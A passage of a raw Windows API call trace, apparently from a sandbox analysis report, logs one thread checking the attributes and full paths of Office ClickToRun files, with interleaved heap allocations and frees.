lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0117.825] GetCurrentThreadId () returned 0x9b0 [0117.826] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0117.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2250 | out: hHeap=0x2ad0000) returned 1 [0117.826] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0117.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0117.826] GetCurrentThreadId () returned 0x9b0 [0117.826] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0117.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c18 | out: hHeap=0x2ad0000) returned 1 [0117.827] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0117.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0117.827] GetCurrentThreadId () returned 0x9b0 [0117.827] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0117.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0117.827] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0117.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db6c0 | out: hHeap=0x2ad0000) returned 1 [0117.828] GetCurrentThreadId () returned 0x9b0 [0117.828] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0117.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0117.828] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0117.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0117.829] GetCurrentThreadId () returned 0x9b0 [0117.829] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0117.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2148 | out: hHeap=0x2ad0000) returned 1 [0117.829] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1470, Size=0x120) returned 0x2c375e8 [0117.829] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0117.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0117.829] GetCurrentThreadId () returned 0x9b0 [0117.830] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0117.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0117.830] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0117.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa29d8 | out: hHeap=0x2ad0000) returned 1 [0117.831] GetCurrentThreadId () returned 0x9b0 [0117.831] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0117.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0117.831] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0117.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0117.832] GetCurrentThreadId () returned 0x9b0 [0117.832] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0117.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0117.832] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0117.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0117.833] GetCurrentThreadId () returned 0x9b0 [0117.833] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-file-l1-2-0.dll") returned 0x59 [0117.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.833] GetCurrentThreadId () returned 0x9b0 [0117.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0117.833] GetCurrentThreadId () returned 0x9b0 [0117.833] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-file-l2-1-0.dll") returned 0x59 [0117.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.834] GetCurrentThreadId () returned 0x9b0 [0117.834] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-localization-l1-2-0.dll") returned 0x61 [0117.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.834] GetCurrentThreadId () returned 0x9b0 [0117.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.835] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll", lpFilePart=0x9bada4*="api-ms-win-core-processthreads-l1-1-1.dll") returned 0x63 [0117.835] GetCurrentThreadId () returned 0x9b0 [0117.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0117.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0117.835] GetCurrentThreadId () returned 0x9b0 [0117.835] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-synch-l1-2-0.dll") returned 0x5a [0117.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.836] GetCurrentThreadId () returned 0x9b0 [0117.836] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-timezone-l1-1-0.dll") returned 0x5d [0117.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.836] GetCurrentThreadId () returned 0x9b0 [0117.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0117.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0117.836] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-xstate-l2-1-0.dll") returned 0x5b [0117.836] GetCurrentThreadId () returned 0x9b0 [0117.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0117.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0117.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.837] GetCurrentThreadId () returned 0x9b0 [0117.837] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-conio-l1-1-0.dll") returned 0x59 [0117.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0117.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0117.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.837] GetCurrentThreadId () returned 0x9b0 [0117.837] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-convert-l1-1-0.dll") returned 0x5b [0117.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.838] GetCurrentThreadId () returned 0x9b0 [0117.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.838] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-environment-l1-1-0.dll") returned 0x5f [0117.838] GetCurrentThreadId () returned 0x9b0 [0117.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0117.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0117.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.838] GetCurrentThreadId () returned 0x9b0 [0117.839] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-filesystem-l1-1-0.dll") returned 0x5e [0117.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.839] GetCurrentThreadId () returned 0x9b0 [0117.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0117.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0117.839] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-heap-l1-1-0.dll") returned 0x58 [0117.839] GetCurrentThreadId () returned 0x9b0 [0117.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0117.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0117.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0117.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0117.840] GetCurrentThreadId () returned 0x9b0 [0117.840] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-locale-l1-1-0.dll") returned 0x5a [0117.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0117.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0117.840] GetCurrentThreadId () returned 0x9b0 [0117.840] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-math-l1-1-0.dll") returned 0x58 [0117.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0117.840] GetCurrentThreadId () returned 0x9b0 [0117.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0117.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.841] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-multibyte-l1-1-0.dll") returned 0x5d [0117.841] GetCurrentThreadId () returned 0x9b0 [0117.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0117.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0117.841] GetCurrentThreadId () returned 0x9b0 [0117.841] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-private-l1-1-0.dll") returned 0x5b [0117.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0117.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0117.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.842] GetCurrentThreadId () returned 0x9b0 [0117.842] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-process-l1-1-0.dll") returned 0x5b [0117.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0117.842] GetCurrentThreadId () returned 0x9b0 [0117.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0117.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.842] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-runtime-l1-1-0.dll") returned 0x5b [0117.843] GetCurrentThreadId () returned 0x9b0 [0117.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.843] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-stdio-l1-1-0.dll") returned 0x59 [0117.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.843] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-string-l1-1-0.dll") returned 0x5a [0117.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.844] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-time-l1-1-0.dll") returned 0x58 [0117.844] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-utility-l1-1-0.dll") returned 0x5b [0117.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.844] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll", lpFilePart=0x9bada4*="ApiClient.dll") returned 0x47 [0117.844] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll", lpFilePart=0x9bada4*="AppVCatalog.dll") returned 0x49 [0117.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.845] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe", lpFilePart=0x9bada4*="appvcleaner.exe") returned 0x49 [0117.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0117.845] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, 